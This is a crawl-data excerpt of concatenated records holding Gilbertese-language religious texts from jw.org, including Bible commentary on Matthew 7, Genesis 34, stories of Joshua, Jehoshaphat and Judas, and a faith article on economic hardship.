teutana. E kaumakiia Iesu ni kangai: \"Tai angania kamea baika tabu, ke ni kaaki moomin te bwaeao i mataia beeki, bwa a kaawa n toubekai ao ni manga rairaki n ewakaingkami.\" (Mataio 7:6) A rangi ni kakawaki koaua man ana Taeka te Atua, bwa ai aroni moomin te bwaeao. Ngkana a katotongia maan aomata tabeman, ni kaota te aki kakaitau nakoni koaua aika rangi ni kakawaki aikai, a riai ngkanne taan rimwina ni kitania ao ni kakaaeia aika a kan ongora.\nE a manga okira te reirei ibukin te tataro Iesu ni katuruturua riki te botumwaaka iai ni kangai: \"Teimatoa ni bubutii ao kam na anganaki.\" E tauraoi ni kaekai ara tataro te Atua, n aron ae e kamataataa Iesu ngke e titiraki ni kangai: \"Antai i buakomi ae butiiaki iroun natina kanana te kariki, ao e na anganna te atibu? . . . Mangaia are e ngae ngke kam buakaka ma kam ataa te angania natimi bwaintangira aika raraoi, ao ai batira riki ngkanne nanon Tamami are i karawa ni kan anga bwaai aika raraoi nakoia akana butiia!\"—Mataio 7:7-11.\nE taekina ngkanne te tua ni kaineti ma te aroaro ni maiu ae rangi n ataaki ae kangai: \"Bwaai ni kabane aika kam tangiriia aomata bwa a na karaoi nakoimi, kam riai ni karaoi naba nakoia.\" E aki riai ngkanne bwa ti na kaaki i nanora taeka ni kaungaunga aikai ao ni maiuakin n arora nakoia tabemwaang? Ma e kona ni kangaanga karaoan aei iroura n aron ae kaotaki n ana reirei Iesu ae kangai: \"Riin n te mataroa ae wariki, bwa e raababa te mataroa ma ni mwawaawa te kawai ae tiki nakon te kamaunanakoaki, ao a mwaiti aika rin iai. Ma e wariki te mataroa ao e reme te kawai ae tiki nakon te maiu, ao a karako akana kunea.\"—Mataio 7:12-14.\nIai te koraki ake a na kataia ni katannakoia taan rimwin Iesu man te kawai are kairiri nakon te maiu, ngaia are e anga te kauring ni kangai: \"Tarataraingkami mairouia burabeti ni kewe akana nakoimi ni baka n tiibu, ma boni kameaanti aika kaakang ngaiia.\" (Mataio 7:15) E taku bwa a kona n ataaki man uaaia kaai aika raraoi ao aika bubuaka, ao ai tii te arona naba ma aomata. Mangaia are ti kona ni kinaia burabeti ni kewe man aia reirei ao aia mwakuri. Eng, e kabwarabwaraa Iesu bwa e aki kona n riki te aomata bwa te tia rimwina tii man te baere e taekinna ma man te baere e karaoia naba. A taekinna tabeman aomata bwa bon aia Uea Iesu, ma tera ngkanne aroia ngkana a aki kakaraoa nanon te Atua? E taku Iesu: \"N na kangai nakoia: 'I bon aki kinaingkami naba teutana! Naako mairou, ngkami aika taani kakaraoa ae buakaka!'\"—Mataio 7:23.\nE kabanea ana kabwarabwara n taekinan aei: \"Ane e ongo au taeka aikai ma ni kakaraoi, e na riki bwa kaanga te aomata ae wanawana ae katea ana auti i aon te bwaa. Ao e ngo te karau ao e roko te raanga ao e kare te ang ae korakora nakon te auti anne, ma e bon aki bwaka bwa e kateaki i aon te bwaa.\" (Mataio 7:24, 25) E aera ngkai e aki bwaka te auti? Ibukina bwa te mwaane arei e \"kena aontano ni kananoa ma ni karaoa aana i aon te bwaa.\" (Ruka 6:48) Ngaia are e bati riki ae e nanonna Iesu nakon tii te ongora n ana taeka. Ti bon riai ni kakorakoraira ni 'karaoi baikai.'\nMa tera aroia naake a \"ongo au taeka aikai\" ma n \"aki kakaraoi\"? Kaanga ai aron \"te aomata ae nanobaba ae katea ana auti i aon te tano ae maraurau.\" (Mataio 7:26) E boni kona ni bwaka te auti n te karau, n te ieka, ao n te ang.\nA rangi ni mimi te koraki n aron Iesu n angareirei n te kabwarabwara aei. E karaoa anne n aron te aomata ae iai mwakana ma tiaki n ai aroia mataniwin te Aro. A bae ni bati aika riki bwa taan rimwina i buakoia te koraki ake a ongora irouna.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/iesu\/mwakuri-ni-minita-i-kariraia\/kabwarabwara-i-aon-te-maunga\/","date":"2018-01-20T18:17:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084889677.76\/warc\/CC-MAIN-20180120162254-20180120182254-00682.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":3538,"character_repetition_ratio":0.054,"word_repetition_ratio":0.001,"special_characters_ratio":0.231,"stopwords_ratio":0.419,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n34 E taneiai natin Rea+ ma Iakoba are Rina ni kawariia ateiainen te aba arei ao ni kabanea ana tai ma ngaiia.*+ 2 Ngke e nora neiei Tekem ae natin Amora are te Iwaite+ ae temanna naba mataniwin te aba, ao e taumatoaa neiei ni kairia ao e taua. 3 Ao e a rangi n anaaki nanon teuaei* iroun Rina are natin Iakoba, ao e a bwaka n tangira te ateiaine aei ao e taetae n ananaa nanona.* 4 N tokina e a taku Tekem nakon Amora+ are tamana: \"Ko na anaa te ateiaine aei bwa buu.\" 5 A mena natin Iakoba ake mwaane n te tawaana ma ana nanai ni man ngke e ongo ae e a tia n tauaki Rina are natina. Mangaia are e aki kaongoa temanna Iakoba ni karokoa okia. 6 Imwina riki ao e a nako Amora are taman Tekem n taetae ma Iakoba. 7 Ma ngke a ongo taekan te baei natin Iakoba ake mwaane, ao a a oki rikaaki naba ngkekei man te tawaana. A maraki nanoia ao a rangi n un bwa e a tia Tekem ni kabwainranga Iteraera ngke e wene ma natin Iakoba te aine,+ ae te bwai ae e aki riai ni karaoaki.+ 8 E taetae Amora ma ngaiia ao e kangai: \"E tangira natimi te aine natiu te mwaane are Tekem. Taiaoka anganna bwa buuna, 9 ao kam na imaremare ma ngaira. Anganira natimi aine ao anaiia natira aine bwa buumi.+ 10 Tiiku i rarikira ao maeka ikai bwa e tauraoi ibukimi abara ni kabutaa, ao kam na teimatoa n iokinibwai i aona ao ni memena iai.\" 11 E taku ngkanne Tekem nakon taman neiei ao nakoia mwaanena: \"E bia reke akoau i matami, ao N na bon anganingkami te baere kam butiiai. 12 Ko kona n tangira boon neiei ae rangi ni bati mairou ma te bwaintangira.+ I kukurei n anga te bwai ane kam na taekinna nakoiu. Ma tii anganai te ateiaine bwa buu.\" 13 Ao a kaeka natin Iakoba ni mwamwanaa Tekem ma tamana are Amora, ibukina bwa e a tia Tekem n taua Rina are mwaaneia. 14 A taku nakoia: \"Ti aki kona ni karaoa te aekaki anne, ae te anga mwaanera nakon te mwaane ae aki korotobibiaki,+ bwa boni kamaamaeara te baenne. 15 Ma ti tii kona ni kariaia n te aro aei, ae kam na riki n ai arora ao ni korotobibia mwaane nako akana iroumi.+ 16 Ti na anganingkami ngkanne natira aine ao ti na anaiia natimi aine bwa buura, ao ti na maeka i rarikimi ao n riki bwa te natannaomata ae tii teuana. 17 Ma ngkana kam aki ongo iroura ao kam aki korotobibiaki, ti na kaira ngkanne natira te aine ao ti na nako.\" 18 A kukurei Amora+ ao Tekem are natin+ Amora n aia taeka naakai. 19 E aki baenikai te rorobuaka n ataei aei ni karaoan te baere a taku,+ ibukina bwa e kukurei iroun natin Iakoba te aine, ao boni moan te karineaki teuaei i buakoia kaaini batan tamana. 20 Mangaia are a nako nakoni mataroan oon te kaawa Amora ma natina are Tekem ao a taetae nakoia mwaanen aia kaawa+ ni kangai: 21 \"A kani kateimatoa te rau ma ngaira mwaane aikai. Kariaia bwa a na maeka n te aba ao n teimatoa n iokinibwai i aona, bwa e tau buburan te aba ibukia. Ti kona n anaiia natiia aine bwa buura ao ti kona n angania natira aine.+ 22 Ma tii n te aro aei ae a kariaia iai mwaane aikai bwa a na maeka i rarikira, bwa ti aonga n riki bwa te natannaomata ae tii teuana: a na korotobibiaki mwaane ni kabane aika i buakora n aroia ae a korotobibiaki.+ 23 Tiaki a na riki ngkanne aia bwai, kaubwaia, ao aia nanai ni man ni kabane bwa ara bwai? Mangaia ae ti na angania ara kariaia bwa a kona ni maeka i rarikira.\" 24 A bane n ongo iroun Amora ma natina are Tekem te koraki ake a botaki ni mataroan oon ana kaawa, ao a bane ni korotobibiaki mwaanen te kaawa. 25 Ma n te katenua ni bong ngke a bon teimatoa naba ni maraki, ao a anai aia kabaang natin Iakoba ake uoman ake Timeon ao Rewi ake mwaanen Rina,+ ao a rinnako n te kaawa ma e aki ataaki bukin rokoia ao a kamateia mwaane ni kabane.+ 26 A kamatea Amora ma natina are Tekem n te kabaang ao a anaa Rina mani batan Tekem ao a nako. 27 A roko natin Iakoba ake tabeman riki irouia mwaane ake a kamateaki ao a kuribwaia te kaawa kioina ngke e tauaki mwaaneia.+ 28 A anai aia nanai n tiibu, aia nanai ni man, aia taongki, ao bwaai nako ake n te kaawa ao n te tawaana. 29 A anai naba aia bwai ni kabane, a kairiianako aia koraki n ataei aika uarereke ma buuia, ao a kuribwai bwaai ni kabane n auti nako. 30 Ngaia are e taku Iakoba nakon Timeon ao Rewi:+ \"Kam a tia ni karokoa te kangaanga ae korakora* i aou, bwa kam karika ribaakiu irouia kaain te aba aika tibuni Kanaan ao taiani Beritaite. E karako au aomata ao ane a na bon ikotaki n ekainako ao N na boni kamaunaaki, ngai ma kaaini batau.\" 31 Ma a kaeka ni kangai: \"E riai te aomata temanna ni karika mwaanera bwa kaanga te aine ae kakabooaki?\"","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/karikani-bwaai\/34\/","date":"2018-01-22T03:35:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084890947.53\/warc\/CC-MAIN-20180122014544-20180122034544-00111.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":903,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.423,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E a tia Mote ni kaira te natannaomata ae Iteraera i nanon ririki aika bati ao e a roko ngkai te tai are e a kaani mate iai. E tuangnga Iehova ni kangai: 'Tiaki ngkoe ae ko na kairiia tibun Iteraera nakon te Aba ni Berita. Ma N na kariaia bwa ko na nora te aba anne.' Ao Mote e butiia Iehova bwa e na rinea te tia kairiri ae e na tabeakinia aomata. E taku ngkanne Iehova nakoina: 'Nakon Iotua ao tuangnga bwa ngaia ae I rineia.'\nE tuanga te natannaomata aei Mote bwa e a kaan ana tai ni mate, ma e a tia Iehova n rinea Iotua bwa e na kairiia nakon te Aba ni Berita. E taku ngkanne Mote nakon Iotua: 'Tai maaku. E na buokiko Iehova.' Imwin anne, e ararakea te Maunga ae Nebo Mote, ao Iehova e a kaota nakoina te aba are E beritanna nakon Aberaam, Itaaka, ao Iakoba. E mate Mote ngke 120 ana ririki.\nE taku Iehova nakon Iotua: 'Rinanon te Karaanga ae Ioretan nakon iterana are teuana, ao riin i Kanaan. N na buokiko n aron are I a tia ni buoka Mote. Taraia raoi bwa ko na wawareka au Tua ni katoabong. Tai maaku. Ko na ninikoria. Mwananga ao karaoa te bwai ae I tua nakoim.'\nE kanakoia taani karaba n tutuo aika uoman Iotua, nakon te kaawa ae Ieriko. N te karaki are imwina, ti na nora iai te bwai ae riki ikanne. Ngke a a oki, ao a a taekinna ae e a angaraoi n te tai anne te rin i Kanaan. N te bong are imwina, e a tuanga te natannaomata aei Iotua bwa a na katauraoi nakon te mwananga. E karimoaia ibonga ake a uouota te ati ni berita nakon te Karaanga ae Ioretan. E rangi ni buaka te karaanga aei. Ma ngke a toko waeia ibonga n te ran, ao e a toki naba raangan te karaanga aei ao e a ora naba! A mwananga ibonga ao a tei i nukan te karaanga are mwau, ao tibun Iteraera a bane ni mwananga nakon iterana are teuana. N am iango, a kauringaki n te kakai aei te baere e karaoia Iehova n Taari ae Uraura?\nImwin ririki aika bati, a a roko ngkai tibun Iteraera n te Aba ni Berita. A a kona ni katei aia auti ao aia kaawa. A a kona n ununiki n te tawaana, n te nne ni kureebe, ao n onnaroka. E rangi ni bati te amwarake ao te moi n te Aba ni Berita, anne bukina ae aranaki bwa te aba ae raanga iai rannimamman te man ma aia karewe manibeeru.\n\"E na teimatoa ni kaiririko Iehova ao ni kanuaiko n te aba naba ae mwauteretere.\"—Itaia 58:11","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/karaki-man-te-baibara-reirei\/6\/iotua-aba-ni-berita\/","date":"2018-01-16T09:42:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886397.2\/warc\/CC-MAIN-20180116090056-20180116110056-00218.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":456,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.478,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E taku te buu te mwaane ao te karo ae Paul: \"Imwin rotakin abara n rikirakeni booni bwaai, e a rikirake ni bobuaka te amwarake ao ni karako. Ti kakatei rain i nanon aoa aika bati ma n angiin te tai, e babane imwain ae ti roko i moa. A a rikirake ni bakitaia aomata ibukin te rongo ao tabeman, a a tong i rarikin te kawai. A birirake booni baika a kainnanoaki ibukin te maiu nakon te mirion ao imwina ai manga te birion. N tokina, ai bon akea raoi kanoan te mwane. Ai akea au mwane n te bangke, au mwane ibukini kawakinani maiu ao au mwane n ritaea.\"\nE ataia Paul bwa e riai ni bwaina te \"rabakau [ke \"te wanawana,\" NW]\" bwa a aonga ni maiu ana utu. (Taeka N Rabakau 3:21, BG) E kabwarabwaraa ni kangai: \"Bon te tia iti ngai ma I karaoi mwakuri nako ake I kona ni kammwakuraki iai ao ni karekea te boo ae rangi n uarereke iai. A kabooai tabeman n te amwarake ke ni bwain te auti. Ngkana I kabooaki n taian tobu n tebotebo aika aua, I kamanenai uoua ao I kaboonakoi ake tabeua. N tokina, a a reke au kiokio aika 40. I kaboonakoi ngke a a ikawai ao I a manga kabooi riki 300. Imwina riki, I a iokinibwaia 50 mooa ibukin uoua te baeki ni cornmeal aika 50 te kirokuraem rawawataia. I kamaiuia au utu ao au utu riki tabeman n te tai ae maan mani baeki akanne.\"\nE ataia naba Paul bwa onimakinan te Atua bon te kabanea n tamaroa ni mwakuri ae e riai ni karaoia te aomata. Ngkana ti karaoi nanon ana tua te Atua, e na boni buokira. E taekina ae kangai Iesu ni kaineti ma karekeani baika ti kainnanoi ni maiura: \"Katoka raraomami, bwa . . . e ataia Tamami bwa kam kainnanoi baikai.\"—Ruka 12:29-31.\nE kananokawaki bwa e a tia ni mwamwanaia angia kaain te aonnaba te tia riribaa te Atua ae Tatan, bwa a na kabotoi maiuia i aon raraomaeakinan te maiu aei. A kabatiai raraomaeakinani baika a kainnanoi ni maiuia aomata ao a kakorakoraia ni karekei baika a aki rangi ni kainnanoi. A bati aika a tangomwane ike a a nora raoi koauan are \"ngkana ko tangoa ana bai te aomata ao ko riki ba ana toro.\"—Taeka N Rabakau 22:7, BK.\nA karaoi aia motinnano aika karuanikai tabeman aomata. E taku Paul: \"A mwaiti kaain rarikira aika a kitania aia utu ao raoraoia ibukini kakaaean riki nakoraoini maiuia n te tabo ae tiaki abaia. A nako tabeman ma akean aia beeba ibukini mwaingia ao a aikoa kona ni karekei aia mwakuri. A karabarabaia n angiin te tai mairouia bureitiman ao a mamatu irarikini kawai. A aki bubutii buokaia mairoun te Atua. Ma ti tokanikai ngaira ma ara utu ni kaitaraa te kangaanga ibukin te karekemwane man ana ibuobuoki te Atua.\"\nKAKAIRI N ANA TAEKA N REIREI IESU\nE reitia n taku Paul: \"E taku Iesu: 'Tai iango n raraoma . . . ibukin ningabong, bwa ko na bon raraomaeakinna ningabong. E bon tannako te bong ma kangaangana.' Ngaia are kanoan au tataro ni katoa bong bwa e na 'anganira kanara ae ti a tau iai n te bong aei' te Atua bwa ti aonga ni maiu. Ao e boni buokira n aron are e beritanna Iesu. E aki rereke iroura ara moan rinerine. N te taina ao I tei n te rain ibukini kabooan te amwarake n akea ataakina irou bwa tera ae kaboonakoaki. Ngke I a roko i moa ao I a noria bwa ngaia e kaboonakoaki te yogurt ae te amwarake ae I riribaia. Ma ti boni kanna n te tairiki anne ngkai bon te amwarake naba. I kaitaua te Atua i nanon tain te kangaanga anne bwa a aki rotaki n te baki au utu.\" *\nE a tia ni beritanna te Atua ni kangai: \"N na bon aki kaakiko ao N na bon aki kitaniko.\"—Ebera 13:5\n\"E a bebete riki iroura ngkai aron te karekemwane. Ma ti a ataia mani baike ti a tia n rinanoi bwa tii onimakinan te Atua te kabanea ni kakawaki ni bwainnaoraki ibukin te raraoma. E na boni buokira n taai nako Iehova * ngkana ti teimatoa ni kakaraoa nanona. Ti a tia n nora koauan are taekinaki n Taian Areru 34:8, (BG) are kangai: \"Kam na kata Iehova ma n noria ba E raoiroi: E a kabaia te aomata ae onimakinna.\" Ibukin anne, ti a aikoa maaku ni manga kaaitarai kangaanga aika rawawata ibukin te karekemwane.\n\"Ti a mataata raoi ngkai bwa a tii kainnanoa te amwarake aomata bwa a aonga ni maiu ma tiaki te mwakuri ke te mwane. Ti ingainga ni kantaninga te tai are e nang kakoroaki iai bukin ana berita te Atua are kangai: 'Ane e na bati te uita i aon te aba.' Ma n te tai moa aei, 'ngkana iai kanara ma karabaara ao katanara, ao a na rau nanora ni baikai.' Ti karekei korakorara man taeka aika n te Baibara aikai: 'Kam na maiuakina te aro ae akea te bakimwane iai, ngkai a rau nanomi n ami bwai akana iroumi. Bwa e kangai ngkoa te Atua: \"N na bon aki kaakiko ao N na bon aki kitaniko.\" Ai ngaia ae ti rangi n ninikoria ao ti kangai: \"Te tia buokai Iehova, N na aki maaku.\"'\" *\nE kainnanoaki te onimaki ni koaua bwa ti aonga n 'nakonako ma te Atua' n aron ae a karaoia Paul ma ana utu. (Karikani Bwaai 6:9, BG) Ti karekei reireiara aika kakawaki man ana katoto Paul ibukin te onimaki ao bwainan te wanawana, n aki ongeia bwa ti kaaitara ngkai ma te kangaanga ibukin te mwane ke ti na kaaitara ma ngaai nakon taai aika a na roko.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/wp20150701\/mwane-raraoma\/","date":"2018-01-18T08:35:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887077.23\/warc\/CC-MAIN-20180118071706-20180118091706-00089.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":945,"character_repetition_ratio":0.046,"word_repetition_ratio":0.002,"special_characters_ratio":0.233,"stopwords_ratio":0.437,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nMaiura ni Kristian ao Ara Mwakuri ni Minita—Te Boki n Reirei | April 2017\nNinikoria n Aron Ieremia\nE anga te kauring Ieremia bwa e na roko te kabuanibwai i aon Ierutarem n aron are riki i Tiro\n26:6\n-\nE kawakinaki ngkoa i Tiro te ati ni berita are e tei ibukin Iehova\n-\nE kariaia Iehova bwa a na taua te Ati ni Berita I-Biritia, ao e na aki kaokaki nako Tiro\nA bane aomata, ibonga, ao burabeti ni kakamaaka Ieremia bwa a na tiringnga\nE kamanoa Ieremia Iehova\n26:16, 24\n-\nE teimatoa n ninikoria Ieremia, ao e aki kaaki taekana Iehova\n-\nE kairaki iroun te Atua Aikam are ninikoria bwa e na kamanoa Ieremia\nMan ana ibuobuoki ao a na boutoka Iehova, e a kona Ieremia n taekina te rongorongo ae matoatoa i nanon 40 te ririki","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/jw-te-boki-n-reirei\/eberi-2017-mwb\/kaetieti-n-te-botaki-ebe17-23\/ninikoria-n-aron-ieremia\/","date":"2018-01-19T04:48:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887729.45\/warc\/CC-MAIN-20180119030106-20180119050106-00435.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":140,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.486,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E KABOOAKI IUTA ITEKARIOTA BWA E NA KAMWANEA IESU\nA KATAURAOI ABOTORO AIKA UOMAN IBUKIN TE TOA AE TE RIAO\nE a roko n tokina ana angareirei Iesu nakoia ana abotoro i aon te Maunga ae Oriweta, ni kaekai aia titiraki ibukin okina ma tikuna n te tai ae e na roko, ao tain tokin te waaki ae ngkai i aon te aba.\nAi batira te tabetabe n Nitian 11! Tao n te tai are a oki iai nako Betania bwa a na matu iai n te tairiki anne, ao e a tuangia ana abotoro Iesu ni kangai: \"Kam ataia bwa uabong ma ngkai ao e nang roko te Toa ae te Riao, ao e na tauaki iai Natin te aomata bwa e na kamateaki i aon te kai ni kammaraki.\"—Mataio 26:2.\nN taraana ao e kabanea te bong are imwina Iesu ae te Katenibong n tiku n tii ngaia ma ana abotoro. N te Kauabong ao e boaiia mataniwin te Aro ao ni kaotaraeia i mataia aomata, ao a a ukoukora kamateana. Ngaia are e aki roko n te kaotia n Nitian 12, bwa e aonga n aki uruanaki bukamaruan te Toa ae te Riao irouna ma ana abotoro imwini bungintaai n te tairiki are imwina, ngkana e a moanaki Nitian 14.\nMa a aki kakantaninga mataniwi n ibonga ma aia unimwaane aomata imwain te Toa ae te Riao. A ikotaki n ana katawanang te ibonga ae rietata ae Kaiaba. Bukin tera? A maraki nanoia ibukina bwa e kaotaraeia Iesu. Ngaia are a babaire \"ni kakaaea aia anga ni kamwanea Iesu, bwa a na taua ni kamatea.\" A na kangaa ni karaoia ao n ningai: A taku: \"Tiaki n tain te toa, bwa a kaawa ni kiriwe aomata.\" (Mataio 26:4, 5) A maaku ibukina bwa e boutokaaki Iesu irouia aomata aika bati.\nN te tai anne ao e a roko aia iruwa mataniwin te Aro. A kubanako bwa bon temanna i buakoia ana abotoro Iesu ae Iuta Itekariota. E a tia Tatan ni karina irouna iangoani kamwanean ana Toka! E titirakinia Iuta ni kangai: \"Tera ae kam na anganai ngkana I kamwanea nakoimi?\" (Mataio 26:15) A rangi ni kimwareirei n aei, ao \"a boraraoia bwa a na anganna te mwane ae te tirewa.\" (Ruka 22:5) Mwaitira? A boniwia ma te kukurei bwa a na anganna 30 te mwakoro n tirewa. E kakawaki ataakin ae boon te toro bon 30 te tiekera. (Te Otinako 21:32) A kakeaa bongan Iesu mataniwin te Aro, ngaia are e uarereke boona. E a moanna ngkai Iuta n \"ukoukora te tai ae angaraoi ibukini kamwaneana nakoia, ngkana akea te koraki.\"—Ruka 22:6.\nE moanaki Nitian 13 ni bungintaai n te Katenibong, ae ai ana kaonoua n tairiki Iesu i Betania ao ai ana kabanea naba. N te bong are imwina ao e riai ni karaoaki te kabanea ni katauraoi ibukin te Toa ae te Riao. E riai ni karekeaki te tiibutetei bwa e aonga n tiringaki ao n umunaki ni kabwaninaki imwini moanakin Nitian 14. Te tai anne are e na tiringaki iai te tiibutetei ibukin te Toa ae te Riao, ao imwina e na kamwaaki ni kabwaninaki. A na amwarake ia, ao antai aika a na katauraoia? E aki kaotii taekan akanne Iesu. Ngaia are e aki kona Iuta ni kaongoia mataniwi n ibonga taekan anne.\nTao n tanimaeaontaain te Kaabong, ao Iesu e a kanakoia Betero ma Ioane mai Betania, ao e taku: \"Naako katauraoa amwaraken te Toa ae te Riao bwa ti na kanna.\" A kaeka ni kangai: \"Te tabo raa ae ko tangiria bwa ti na katauraoia iai?\" E kabwarabwaraa Iesu ni kangai: \"Ngkana kam rin n te kaawa ao ane kam na boo ma te mwaane ae uouota te kaatibu n ran. Kam na iria nakon te auti ane e na rin iai. Ao kangai nakon teuare ana auti te auti, 'E taku te tia Reirei nakoim: \"E nga te ruu n iruwa ae N na kana iai amwaraken te Toa ae te Riao ma taan rimwiu?\"' Ao e na kaota nakoimi teuanne te ruu i eta ae bubura, ae a taubobonga bwaina. Katauraoia iai.\"—Ruka 22:8-12.\nAkea te nanououa bwa teuare ana auti te auti bon te tia rimwin naba Iesu. Tao e a kamani kantaningaa butiiana iroun Iesu bwa e na kabongana ana auti ibukin te botaki aei. Ngke a roko abotoro ake uoman i Ierutarem, ao a nori bwaai nako ake e tuangia Iesu. Ngaia are a taraia raoi bwa e na tauraoi te tiibutetei ao a na nakoraoi babaire riki tabeua ibukin amwaraken te Toa ae te Riao, ake a kainnanoaki irouia aomata aika 13, bwa Iesu ma ana abotoro ake 12.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/iesu\/ana-kabanea-ni-mwakuri-ni-minita\/e-a-kaan-kabanea-n-toa-ae-te-riao\/","date":"2018-01-19T02:24:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887692.13\/warc\/CC-MAIN-20180119010338-20180119030338-00753.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":757,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.239,"stopwords_ratio":0.466,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E urui baonikareani Baara ao bouannanti n te aba Ieotiabata ae uean Iuta. E tangiriia aomata teuaei bwa a na atai ana tua Iehova. Ngaia are e a kanakoia tooka ao tibun Rewi bwa a na reireinia aomata ana tua Iehova ni kabutaa Iuta.\nA maaku ni buakana Iuta natannaomata ake i rarikina ibukina bwa a ataia ae e memena Iehova irouia ana aomata. A uotii naba bwaintangira nakon te Uea ae Ieotiabata. Ma imwin anne, a a roko bwa a na buakana Iuta tibuni Moaba ma tibun Ammon, ao tabeman riki man te aono ae Teira. E ataia Ieotiabata ae e kainnanoa buokana mairoun Iehova. Ngaia are e a bane ni botiia mwaane, aine, ao ataei i Ierutarem. Ao e tataro i mataia ni kabane ni kangai: 'Iehova, ti aki kona n tokanikai ngkana ko aki raonira. Taiaoka ma tuangira te bwai ae ti riai ni karaoia.'\nE kaekaa Iehova te tataro anne ni kangai: 'Tai maaku bwa N na boni buokingkami. Teei ni nnemi, tai kakammwakuri, ao nora arou ni kamaiuingkami.' Tera aron Iehova ni kamaiuia?\nN te ingabong are imwina ao e a rineiia taan anene Ieotiabata ao e tuangia bwa a na ririmoan te taanga ni buaka. A mwananga mai Ierutarem nakon te marae ni buaka n te tabo ae Tekoa.\nNgke a anene n neboa Iehova ma te kimwareirei taan anene n te bwanaa ae korakora ao e a buaka Iehova ibukia ana aomata. E kaminoi aia iango tibun Ammon ma tibuni Moaba n te aro are a a kamateia i bon irouia ao akea temanna ae maiu. Ma e kamanoia Iehova kaain Iuta, tautia, ao ibonga. A bane n ongo aaba ake a uakaan taekan te bwai ae e karaoia Iehova, ao a ataia bwa e teimatoa Iehova n tei ibukia ana aomata. E kangaa Iehova ni kamaiuia ana aomata? Rinanon aanga aika bati. E aki kainnanoa buokana mairouia aomata ni karaoan aei.\n\"Kam bon aki riai ni buaka n te boo ni buaka aei. Teei ni nnemi, tai kakammwakuri ao nora ana kakamaiu Iehova ibukimi.\"—2 Rongorongo 20:17","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/karaki-man-te-baibara-reirei\/8\/te-uea-ae-ieotiabata\/","date":"2018-01-24T10:17:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084893629.85\/warc\/CC-MAIN-20180124090112-20180124110112-00759.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":343,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.458,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"\"Nakonako ma Atuam ma te nanorinano!\"\nANENE: 48, 80\n1-3. Tera ae e kabwaka ni karaoia te burabeti mai Iuta are e aki kaotaki arana, ao tera mwina? (Nora te taamnei ni moan te kaongora aei.)\nN ANA tai n tautaeka te Uea are Ieroboam ao e kanakoa ana burabeti temanna Iehova mai Iuta, bwa e na nikira rongorongoni motikan taekan uean Iteraera, ane e tannako man te koaua anne. E kakaonimaki n nikira ana rongorongo te Atua te burabeti ae nanorinano aei. E rangi n un Ieroboam irouna ma e kamanoa Iehova.\n2 I aoni kawaina te burabeti aei n okira mwengana ao e a karina naba ni kaitiboo ma te unimwaane temanna man te kaawa 